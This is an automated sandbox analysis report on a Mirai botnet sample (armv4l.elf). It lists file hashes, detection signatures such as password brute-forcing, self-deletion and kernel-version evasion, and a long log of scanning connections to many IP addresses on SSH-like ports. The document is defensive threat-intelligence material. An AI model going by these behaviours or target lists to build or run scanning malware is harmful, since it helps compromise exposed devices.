Linux Analysis Report
armv4l.elf

Overview

General Information

Sample name: armv4l.elf
Analysis ID: 1580461
MD5: fcfafee83afa85c17c2ef9e30cccaac9
SHA1: 6bda1067bd8a14378140fd55695b9b6f10d77826
SHA256: 87afb3ce51df65595114217c37c64de94e3c6718ecd2fd7a3873774796020f83
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai
Score: 68
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Opens /sys/class/net/* files useful for querying network interface information
Performs DNS TXT record lookups
Sample deletes itself
Detected TCP or UDP traffic on non-standard ports
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample contains strings indicative of password brute-forcing capabilities
Sample has stripped symbol table
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: armv4l.elf ReversingLabs: Detection: 39%

Networking
barindex
Opens /sys/class/net/* files useful for querying network interface information
Source: /tmp/armv4l.elf (PID: 6241) Opens: /sys/class/net/ Jump to behavior
Source: /tmp/armv4l.elf (PID: 6241) Opens: /sys/class/net/ens160/address Jump to behavior
Source: /tmp/armv4l.elf (PID: 6241) Opens: /sys/class/net/ens160/flags Jump to behavior
Source: /tmp/armv4l.elf (PID: 6241) Opens: /sys/class/net/ens160/carrier Jump to behavior
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 143.70.143.114:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 110.61.84.73:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 177.98.99.52:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 103.141.20.98:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 174.215.100.113:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 12.192.110.248:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 97.151.177.221:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 132.183.147.116:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 71.45.19.120:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 129.85.169.107:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 180.186.239.94:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 212.1.214.131:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 202.22.56.213:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 190.51.247.166:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 216.143.100.94:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 200.44.167.248:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 70.194.227.61:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 69.138.138.41:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 204.71.185.14:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 97.65.121.34:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 98.22.236.56:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 159.160.210.120:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 128.248.230.199:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 95.47.127.155:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 113.57.254.215:18443
Source: global traffic TCP traffic: 192.168.2.23:49646 -> 5.230.251.14:22022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 111.41.219.121:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 149.229.230.93:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 104.52.254.208:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 143.20.190.111:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 51.38.203.186:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 183.183.229.157:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 12.22.149.120:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 42.168.193.117:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 157.178.166.227:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 129.19.193.223:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 80.17.175.100:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 12.230.247.87:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 52.18.64.152:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 175.206.44.10:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 191.78.20.187:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 107.117.91.185:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 2.171.249.117:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 84.140.8.210:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 106.66.207.226:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 205.74.234.54:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 158.233.175.111:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 177.78.224.8:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 78.191.125.120:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 198.65.233.49:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 200.30.34.247:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 166.7.171.172:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 18.76.80.123:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 165.86.190.111:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 159.17.56.133:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 83.29.222.124:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 157.43.102.84:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 124.121.245.107:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 110.209.39.86:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 102.83.37.28:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 146.162.174.124:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 182.115.139.22:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 36.113.83.23:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 27.220.66.227:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 213.37.21.251:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 34.32.178.77:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 195.126.139.253:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 117.246.92.16:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 110.122.169.139:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 54.253.106.194:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 73.142.238.110:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 48.4.106.16:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 76.231.126.185:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 219.73.220.182:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 41.31.187.48:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 141.170.85.214:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 202.34.144.149:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 17.188.70.53:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 139.153.84.8:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 209.67.48.67:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 93.117.90.153:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 181.30.145.251:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 109.244.74.255:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 100.248.221.71:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 207.14.202.178:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 157.54.117.182:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 96.228.129.135:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 67.248.104.40:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 8.247.105.141:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 5.80.69.4:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 163.253.104.136:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 18.14.114.68:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 61.66.78.119:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 218.255.54.41:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 166.190.171.31:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 197.178.7.202:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 49.171.215.207:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 167.71.83.44:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 67.52.134.77:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 27.4.212.53:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 154.7.203.159:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 217.20.98.8:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 223.253.64.209:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 82.21.238.70:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 122.247.97.135:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 204.66.132.80:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 220.33.109.215:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 159.220.37.102:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 96.242.214.126:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 160.171.213.188:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 207.238.121.49:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 82.147.54.149:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 93.5.232.211:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 79.146.39.116:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 97.137.167.161:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 143.24.34.239:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 125.13.211.90:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 57.95.45.10:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 108.53.55.75:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 184.106.214.125:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 129.134.192.189:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 114.85.186.215:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 202.173.123.206:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 149.252.60.61:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 74.145.66.89:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 78.220.14.42:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 177.223.175.92:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 186.151.124.238:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 79.172.116.149:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 208.147.117.78:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 152.199.4.245:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 181.53.42.252:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 146.159.210.64:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 91.111.231.199:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 223.51.239.248:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 151.153.251.41:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 211.142.106.193:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 4.74.47.96:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 67.241.26.87:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 197.151.103.65:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 187.139.218.230:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 170.10.248.59:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 25.115.51.86:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 180.118.14.149:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 37.119.32.234:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 91.48.229.53:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 17.112.128.82:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 126.215.12.38:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 31.4.213.95:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 119.55.106.148:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 202.186.62.69:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 27.57.127.129:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 176.197.41.166:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 196.182.186.66:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 70.227.170.253:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 25.162.120.106:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 110.82.39.156:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 76.192.96.89:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 184.112.104.23:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 186.229.80.30:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 38.26.126.81:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 183.232.110.106:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 179.79.151.30:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 58.205.194.237:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 222.34.210.26:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 17.158.92.92:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 42.9.62.11:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 119.9.129.75:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 198.5.226.72:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 50.46.2.233:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 59.147.184.150:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 101.88.32.203:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 145.175.4.58:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 134.36.58.80:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 130.143.73.94:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 70.179.203.179:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 182.181.5.65:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 193.19.96.86:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 209.133.32.156:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 204.175.158.197:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 204.1.106.36:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 60.91.84.120:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 91.214.144.163:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 210.156.93.62:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 66.97.42.78:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 203.61.222.9:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 222.248.77.70:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 18.137.154.180:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 82.58.44.129:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 190.16.22.242:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 105.15.165.203:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 93.146.67.26:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 36.72.147.157:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 118.151.252.8:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 128.85.152.107:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 159.201.43.105:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 19.180.27.2:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 201.159.158.17:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 183.65.83.11:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 67.120.31.238:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 82.121.19.154:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 83.145.188.240:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 101.132.20.70:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 46.49.48.55:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 158.143.138.92:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 31.98.226.106:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 166.6.205.177:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 136.171.26.19:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 57.22.2.3:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 208.9.230.131:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 53.162.136.102:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 219.179.195.204:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 130.141.65.33:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 200.34.8.34:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 158.94.218.5:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 200.82.134.76:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 190.251.123.123:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 218.141.138.186:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 31.185.120.91:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 184.40.63.201:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 154.221.135.92:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 183.127.193.218:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 100.10.245.131:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 102.153.183.107:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 151.138.254.219:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 13.130.223.1:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 119.135.229.241:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 169.110.30.61:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 220.125.63.163:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 78.123.40.79:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 125.159.214.110:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 18.157.105.101:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 184.47.23.95:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 65.245.207.193:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 164.252.130.54:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 63.240.228.178:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 180.237.232.207:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 44.152.194.134:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 164.184.45.189:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 18.96.255.239:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 14.3.168.181:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 117.25.255.46:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 176.88.238.169:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 218.246.4.182:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 44.144.70.89:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 9.114.79.108:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 148.69.240.156:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 129.42.186.220:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 152.94.57.24:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 42.69.21.108:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 110.152.106.56:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 221.113.130.96:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 61.213.242.49:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 168.188.180.77:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 77.144.103.115:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 128.252.185.107:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 139.117.208.198:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 97.165.21.159:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 65.133.163.193:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 25.186.194.109:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 13.229.156.79:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 110.5.184.161:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 108.93.245.158:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 169.61.110.35:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 66.38.67.224:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 79.13.160.114:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 143.42.187.47:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 113.223.77.120:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 72.163.14.72:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 35.137.183.146:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 81.65.139.148:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 63.39.213.215:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 204.153.147.80:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 14.34.116.120:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 35.38.77.56:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 152.118.208.28:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 202.72.184.232:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 208.2.68.114:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 109.82.102.68:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 58.69.157.3:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 128.89.98.50:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 217.122.55.4:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 9.13.24.155:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 82.230.41.134:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 198.39.254.46:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 177.36.122.161:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 45.16.245.54:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 38.8.168.96:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 183.138.149.248:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 102.106.90.122:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 181.68.179.65:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 184.56.173.74:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 119.82.203.47:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 67.42.106.222:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 76.85.106.138:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 58.45.242.82:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 203.240.131.20:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 128.78.50.51:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 57.166.108.159:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 97.16.172.52:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 147.200.101.172:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 138.86.50.132:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 18.200.206.105:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 197.101.47.165:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 181.230.208.230:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 48.131.203.215:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 112.66.137.184:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 169.23.96.15:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 106.156.191.96:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 156.92.255.30:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 88.192.7.127:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 221.76.103.99:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 91.188.118.198:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 78.59.2.80:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 77.253.45.237:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 132.70.228.231:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 216.99.79.243:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 204.162.172.80:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 147.163.202.246:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 129.0.179.225:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 143.130.139.84:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 105.54.80.74:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 17.88.189.90:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 107.198.208.141:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 47.186.24.156:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 139.23.86.29:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 116.49.185.39:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 86.217.79.65:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 206.237.59.48:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 105.254.165.90:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 114.205.231.105:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 157.88.210.70:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 43.141.94.100:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 72.51.195.183:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 98.175.72.72:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 90.230.2.74:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 165.138.175.96:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 53.253.51.241:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 179.75.33.74:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 136.47.181.135:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 189.208.220.248:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 154.35.148.189:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 141.61.250.155:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 66.112.173.103:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 59.108.155.160:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 184.42.202.111:8022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 211.69.201.131:2222
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 4.194.12.234:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 96.66.18.182:18443
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 47.127.42.215:36022
Source: global traffic TCP traffic: 192.168.2.23:44159 -> 73.50.131.184:18443
